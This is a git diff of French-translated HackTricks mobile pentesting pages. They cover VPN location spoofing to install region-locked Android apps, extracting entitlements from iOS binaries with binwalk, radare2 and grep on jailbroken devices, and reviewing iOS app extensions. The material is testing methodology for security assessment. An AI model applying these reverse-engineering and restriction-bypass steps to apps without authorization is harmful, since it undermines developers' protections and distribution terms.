mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['mobile-pentesting/android-app-pentesting/spoofing-your-loca
This commit is contained in:
parent
b9248ef37d
commit
a59159eacb
14 changed files with 1123 additions and 774 deletions
|
@ -1,10 +1,42 @@
|
|||
Souvent, vous avez vu que l'application que vous souhaitez évaluer n'est autorisée que dans certains pays, donc dans ce cas, vous ne pourrez pas installer cette application sur votre appareil Android. Mais si vous pouvez usurper votre position pour vous situer dans le pays où l'application est autorisée, vous pouvez accéder à cette application. Voici la procédure à suivre :
|
||||
<details>
|
||||
|
||||
* Tout d'abord, installez **Hotspot Shield Free VPN Proxy** depuis Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Maintenant, connectez-vous en utilisant l'application et choisissez le pays requis.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Maintenant, allez dans **Paramètres** >> **Applications** >> **Google Play Store** et appuyez sur **Forcer l'arrêt** puis sur **Effacer les données**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Ouvrez **Google Play Store** et vous pourrez maintenant rechercher et installer l'application qui n'est disponible que dans ce pays.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Informations copiées depuis** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)
|
||||
|
||||
Il arrive souvent que l'application que vous souhaitez évaluer ne soit autorisée que dans certains pays, vous ne pourrez donc pas installer cette application sur votre appareil Android. Mais si vous pouvez usurper votre localisation pour ce pays où l'application est autorisée, alors vous pourrez accéder à cette application. Voici la procédure à suivre.
|
||||
|
||||
* Installez d'abord **Hotspot Shield Free VPN Proxy** depuis le Google Play Store.\
|
||||
![](https://i.imgur.com/0XrmuKY.png)
|
||||
* Connectez-vous en utilisant ce VPN et choisissez le pays requis.\
|
||||
![](https://i.imgur.com/Z0WHrZX.png)
|
||||
* Allez dans **Paramètres** >> **Applications** >> **Google Play Store**, puis appuyez sur **Forcer l'arrêt** puis sur **Effacer les données**.\
|
||||
![](https://i.imgur.com/sjFrr67.png)
|
||||
* Ouvrez **Google Play Store** et vous pourrez maintenant rechercher et installer l'application qui est uniquement disponible dans ce pays.\
|
||||
![](https://i.imgur.com/zfdhCBI.png)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Page copiée depuis** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links)
|
||||
|
||||
Si vous n'avez que l'IPA de l'application ou simplement l'application installée sur un appareil jailbreaké, vous ne pourrez normalement pas trouver les fichiers `.entitlements`. Cela pourrait également être le cas pour le fichier `embedded.mobileprovision`. Néanmoins, vous devriez être en mesure d'extraire les listes de propriétés d'attribution à partir du binaire de l'application vous-même (que vous avez précédemment obtenu comme expliqué dans le chapitre "iOS Basic Security Testing", section "Acquiring the App Binary").
|
||||
Si vous n'avez que l'IPA de l'application ou simplement l'application installée sur un appareil jailbreaké, vous ne pourrez normalement pas trouver de fichiers `.entitlements`. Cela pourrait être également le cas pour le fichier `embedded.mobileprovision`. Néanmoins, vous devriez être capable d'extraire les listes de propriétés des entitlements du binaire de l'application vous-même (que vous avez précédemment obtenu comme expliqué dans le chapitre "iOS Basic Security Testing", section "Acquiring the App Binary").
|
||||
|
||||
Les étapes suivantes devraient fonctionner même lorsqu'il s'agit d'un binaire chiffré. Si pour une raison quelconque cela ne fonctionne pas, vous devrez décrypter et extraire l'application avec Clutch (si compatible avec votre version iOS), frida-ios-dump ou similaire.
|
||||
Les étapes suivantes devraient fonctionner même lorsque vous ciblez un binaire chiffré. Si pour une raison quelconque cela ne fonctionne pas, vous devrez décrypter et extraire l'application avec par exemple Clutch (si compatible avec votre version d'iOS), frida-ios-dump ou similaire.
|
||||
|
||||
**Extraction de la liste de propriétés d'attribution à partir du binaire de l'application**
|
||||
**Extraction de la liste Plist des Entitlements du Binaire de l'Application**
|
||||
|
||||
Si vous avez le binaire de l'application sur votre ordinateur, une approche consiste à utiliser binwalk pour extraire (`-e`) tous les fichiers XML (`-y=xml`) :
|
||||
```bash
|
||||
|
@ -32,7 +30,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Ou vous pouvez utiliser radare2 (`-qc` pour exécuter silencieusement une commande et quitter) pour rechercher toutes les chaînes de caractères dans le binaire de l'application (`izz`) contenant "PropertyList" (`~PropertyList`):
|
||||
Ou vous pouvez utiliser radare2 (`-qc` pour exécuter _silencieusement_ une commande et quitter) pour rechercher toutes les chaînes dans le binaire de l'application (`izz`) contenant "PropertyList" (`~PropertyList`) :
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
|
@ -45,22 +43,36 @@ $ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
|||
"-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0">\n
|
||||
<dict>\n\t<key>cdhashes</key>...
|
||||
```
|
||||
Dans les deux cas (binwalk ou radare2), nous avons pu extraire les mêmes deux fichiers `plist`. Si nous inspectons le premier (0x0015d2a4), nous voyons que nous avons pu récupérer complètement le [fichier d'attribution original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Dans les deux cas (binwalk ou radare2), nous avons pu extraire les mêmes deux fichiers `plist`. Si nous inspectons le premier (0x0015d2a4), nous voyons que nous avons pu récupérer complètement [le fichier d'entitlements original de Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
> Note: la commande `strings` ne sera pas utile ici car elle ne pourra pas trouver cette information. Il vaut mieux utiliser grep avec l'option `-a` directement sur le binaire ou utiliser radare2 (`izz`)/rabin2 (`-zz`).
|
||||
> Remarque : la commande `strings` ne sera pas utile ici car elle ne pourra pas trouver cette information. Il vaut mieux utiliser grep avec le drapeau `-a` directement sur le binaire ou utiliser radare2 (`izz`)/rabin2 (`-zz`).
|
||||
|
||||
Si vous accédez au binaire de l'application sur l'appareil jailbreaké (par exemple via SSH), vous pouvez utiliser grep avec l'option `-a, --text` (traite tous les fichiers comme du texte ASCII).
|
||||
Si vous accédez au binaire de l'application sur l'appareil jailbreaké (par exemple via SSH), vous pouvez utiliser grep avec le drapeau `-a, --text` (traite tous les fichiers comme du texte ASCII) :
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/Telegram X.app/Telegram\ X
|
||||
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
<dict>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
...
|
||||
```
|
||||
Jouez avec le drapeau `-A num, --after-context=num` pour afficher plus ou moins de lignes. Vous pouvez également utiliser des outils comme ceux que nous avons présentés ci-dessus, si vous les avez également installés sur votre appareil iOS jailbreaké.
|
||||
|
||||
> Cette méthode devrait fonctionner même si le binaire de l'application est encore chiffré (elle a été testée sur plusieurs applications de l'App Store).
|
||||
> Cette méthode devrait fonctionner même si le binaire de l'application est toujours chiffré (elle a été testée contre plusieurs applications de l'App Store).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,57 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Les extensions d'application permettent aux applications d'offrir des fonctionnalités et du contenu personnalisés aux utilisateurs lorsqu'ils interagissent avec d'autres applications ou le système. Voici quelques exemples notables :
|
||||
**Contenu copié de** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions)
|
||||
|
||||
* **Clavier personnalisé** : remplace le clavier système iOS par un clavier personnalisé pour une utilisation dans toutes les applications.
|
||||
* **Partager** : publier sur un site de partage ou partager du contenu avec d'autres.
|
||||
* **Aujourd'hui** : également appelés **widgets**, ils offrent du contenu ou effectuent des tâches rapides dans la vue Aujourd'hui du Centre de notification.
|
||||
Les extensions d'application permettent aux applications d'offrir des fonctionnalités et contenus personnalisés aux utilisateurs pendant qu'ils interagissent avec d'autres applications ou le système. Parmi les plus notables, on trouve :
|
||||
|
||||
Par exemple, l'utilisateur sélectionne du texte dans l'_application hôte_, clique sur le bouton "Partager" et sélectionne une "application" ou une action dans la liste. Cela déclenche l'_extension d'application_ de l'_application conteneur_. L'extension d'application affiche sa vue dans le contexte de l'application hôte et utilise les éléments fournis par l'application hôte, le texte sélectionné dans ce cas, pour effectuer une tâche spécifique (le publier sur un réseau social, par exemple). Cette image du [Guide de programmation des extensions d'application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple\_ref/doc/uid/TP40014214-CH2-SW13) résume assez bien cela :
|
||||
* **Clavier personnalisé** : remplace le clavier système iOS par un clavier personnalisé utilisable dans toutes les applications.
|
||||
* **Partage** : publier sur un site de partage ou partager du contenu avec d'autres.
|
||||
* **Aujourd'hui** : également appelés **widgets**, ils offrent du contenu ou effectuent des tâches rapides dans la vue Aujourd'hui du Centre de notifications.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media)
|
||||
Par exemple, l'utilisateur sélectionne du texte dans l'_application hôte_, clique sur le bouton "Partager" et sélectionne une "application" ou une action dans la liste. Cela déclenche l'_extension d'application_ de l'_application conteneur_. L'extension d'application affiche sa vue dans le contexte de l'application hôte et utilise les éléments fournis par l'application hôte, le texte sélectionné dans ce cas, pour effectuer une tâche spécifique (le publier sur un réseau social, par exemple). Voir cette image du [Guide de programmation des extensions d'application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13) qui résume assez bien cela :
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media)
|
||||
|
||||
### **Considérations de sécurité**
|
||||
|
||||
Du point de vue de la sécurité, il est important de noter que :
|
||||
|
||||
* Une **extension d'application ne communique jamais directement avec son application conteneur** (généralement, elle ne fonctionne même pas pendant que l'extension d'application contenue est en cours d'exécution).
|
||||
* Une **extension d'application** et l'**application hôte communiquent** via une **communication inter-processus**.
|
||||
* L'**application conteneur de l'extension** et l'**application hôte ne communiquent pas** du tout.
|
||||
* Une **extension d'application ne communique jamais directement avec son application conteneur** (généralement, elle n'est même pas en cours d'exécution pendant que l'extension d'application contenue est active).
|
||||
* Une **extension d'application** et l'**application hôte** **communiquent** via une communication **inter-processus**.
|
||||
* L'**application conteneur** d'une **extension d'application** et l'**application hôte ne communiquent** pas du tout.
|
||||
* Un **widget Aujourd'hui** (et aucun autre type d'extension d'application) peut demander au système d'ouvrir son application conteneur en appelant la méthode `openURL:completionHandler:` de la classe `NSExtensionContext`.
|
||||
* Toute **extension d'application** et son **application conteneur** peuvent **accéder à des données partagées dans un conteneur partagé défini de manière privée**.
|
||||
* Toute **extension d'application** et son **application conteneur** peuvent **accéder à des données partagées dans un conteneur partagé privé**.
|
||||
* Les extensions d'application **ne peuvent pas accéder à certaines API**, par exemple, HealthKit.
|
||||
* Elles **ne peuvent pas recevoir de données via AirDrop**, mais peuvent envoyer des données.
|
||||
* **Aucune tâche de fond de longue durée** n'est autorisée, mais des téléchargements ou des téléversements peuvent être initiés.
|
||||
* Les extensions d'application **ne peuvent pas accéder à la caméra ou au microphone d'un appareil iOS** (sauf pour les extensions d'application iMessage).
|
||||
* Elles **ne peuvent pas recevoir de données via AirDrop** mais peuvent envoyer des données.
|
||||
* **Aucune tâche d'arrière-plan de longue durée** n'est autorisée, mais il est possible d'initier des téléchargements ou des téléversements.
|
||||
* Les extensions d'application **ne peuvent pas accéder à la caméra ou au microphone d'un appareil iOS** (à l'exception des extensions d'application iMessage).
|
||||
|
||||
### Analyse statique
|
||||
|
||||
#### **Vérification si l'application contient des extensions d'application**
|
||||
#### **Vérifier si l'application contient des extensions d'application**
|
||||
|
||||
Si vous avez le code source original, vous pouvez rechercher toutes les occurrences de `NSExtensionPointIdentifier` avec Xcode (cmd+shift+f) ou jeter un coup d'œil dans "Build Phases / Embed App extensions" :
|
||||
Si vous avez le code source original, vous pouvez rechercher toutes les occurrences de `NSExtensionPointIdentifier` avec Xcode (cmd+shift+f) ou jeter un œil dans "Build Phases / Embed App extensions" :
|
||||
|
||||
![](<../../.gitbook/assets/image (496).png>)
|
||||
|
||||
Vous pouvez y trouver les noms de toutes les extensions d'application intégrées suivies de `.appex`, vous pouvez maintenant accéder aux extensions d'application individuelles dans le projet.
|
||||
Là, vous pouvez trouver les noms de toutes les extensions d'application intégrées suivies de `.appex`, maintenant vous pouvez naviguer vers les extensions d'application individuelles dans le projet.
|
||||
|
||||
Si vous n'avez pas le code source original :
|
||||
|
||||
Recherchez `NSExtensionPointIdentifier` parmi tous les fichiers à l'intérieur du bundle de l'application (IPA ou application installée) :
|
||||
Cherchez `NSExtensionPointIdentifier` parmi tous les fichiers à l'intérieur du paquet de l'application (IPA ou application installée) :
|
||||
```bash
|
||||
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
|
||||
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
|
||||
|
@ -61,11 +61,11 @@ Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist
|
|||
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
|
||||
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
|
||||
```
|
||||
Vous pouvez également y accéder via SSH, trouver le bundle de l'application et lister tous les PlugIns à l'intérieur (ils y sont placés par défaut) ou le faire avec objection:
|
||||
Vous pouvez également accéder via SSH, trouver le bundle de l'application et lister tous les PlugIns à l'intérieur (ils sont placés là par défaut) ou le faire avec objection :
|
||||
```bash
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
|
||||
Telegram X.app/PlugIns
|
||||
|
||||
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection Read Write Name
|
||||
|
@ -75,61 +75,61 @@ Directory 493 None True False Widget.appex
|
|||
Directory 493 None True False Share.appex
|
||||
Directory 493 None True False SiriIntents.appex
|
||||
```
|
||||
Nous pouvons maintenant voir les mêmes quatre extensions d'application que nous avons vues dans Xcode auparavant.
|
||||
Nous pouvons maintenant voir les quatre mêmes extensions d'application que nous avons vues dans Xcode auparavant.
|
||||
|
||||
#### **Détermination des types de données pris en charge**
|
||||
|
||||
Ceci est important pour les données partagées avec des applications hôtes (par exemple via des extensions de partage ou d'action). Lorsque l'utilisateur sélectionne un type de données dans une application hôte et qu'il correspond aux types de données définis ici, l'application hôte proposera l'extension. Il convient de noter la différence entre cela et le partage de données via `UIActivity` où nous devions définir les types de documents, également en utilisant des UTI. Une application n'a pas besoin d'avoir une extension pour cela. Il est possible de partager des données en utilisant uniquement `UIActivity`.
|
||||
Ceci est important pour les données partagées avec les applications hôtes (par exemple via les extensions de partage ou d'action). Lorsque l'utilisateur sélectionne un type de données dans une application hôte et qu'il correspond aux types de données définis ici, l'application hôte proposera l'extension. Il est important de noter la différence entre cela et le partage de données via `UIActivity` où nous devions définir les types de documents, également en utilisant des UTIs. Une application n'a pas besoin d'avoir une extension pour cela. Il est possible de partager des données en utilisant uniquement `UIActivity`.
|
||||
|
||||
Inspectez le fichier `Info.plist` de l'extension d'application et recherchez `NSExtensionActivationRule`. Cette clé spécifie les données prises en charge ainsi que, par exemple, le nombre maximal d'éléments pris en charge. Par exemple:
|
||||
Inspectez le fichier `Info.plist` de l'extension d'application et recherchez `NSExtensionActivationRule`. Cette clé spécifie les données prises en charge ainsi que, par exemple, le nombre maximum d'éléments pris en charge. Par exemple :
|
||||
```markup
|
||||
<key>NSExtensionAttributes</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>NSExtensionActivationRule</key>
|
||||
<dict>
|
||||
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
|
||||
<integer>10</integer>
|
||||
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
```
|
||||
Seuls les types de données présents ici et n'ayant pas `0` comme `MaxCount` seront pris en charge. Cependant, un filtrage plus complexe est possible en utilisant une chaîne de prédicats appelée qui évaluera les UTI donnés. Veuillez vous référer au [Guide de programmation des extensions d'application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW8) pour plus d'informations détaillées à ce sujet.
|
||||
Seuls les types de données présents ici et n'ayant pas `0` comme `MaxCount` seront pris en charge. Cependant, un filtrage plus complexe est possible en utilisant une chaîne de prédicat qui évaluera les UTIs donnés. Veuillez consulter le [Guide de Programmation des Extensions d'Application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8) pour plus d'informations détaillées à ce sujet.
|
||||
|
||||
**Vérification du partage de données avec l'application conteneur**
|
||||
**Vérification du Partage de Données avec l'Application Conteneur**
|
||||
|
||||
Rappelez-vous que les extensions d'application et leurs applications conteneurs n'ont pas un accès direct aux conteneurs de l'autre. Cependant, le partage de données peut être activé. Cela se fait via les ["Groupes d'applications"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW19) et l'API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Voir cette figure du [Guide de programmation des extensions d'application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple\_ref/doc/uid/TP40014214-CH21-SW11):
|
||||
Rappelez-vous que les extensions d'application et leurs applications conteneurs n'ont pas d'accès direct aux conteneurs des autres. Cependant, le partage de données peut être activé. Cela se fait via les ["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19) et l'API [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). Voir cette figure du [Guide de Programmation des Extensions d'Application Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11) :
|
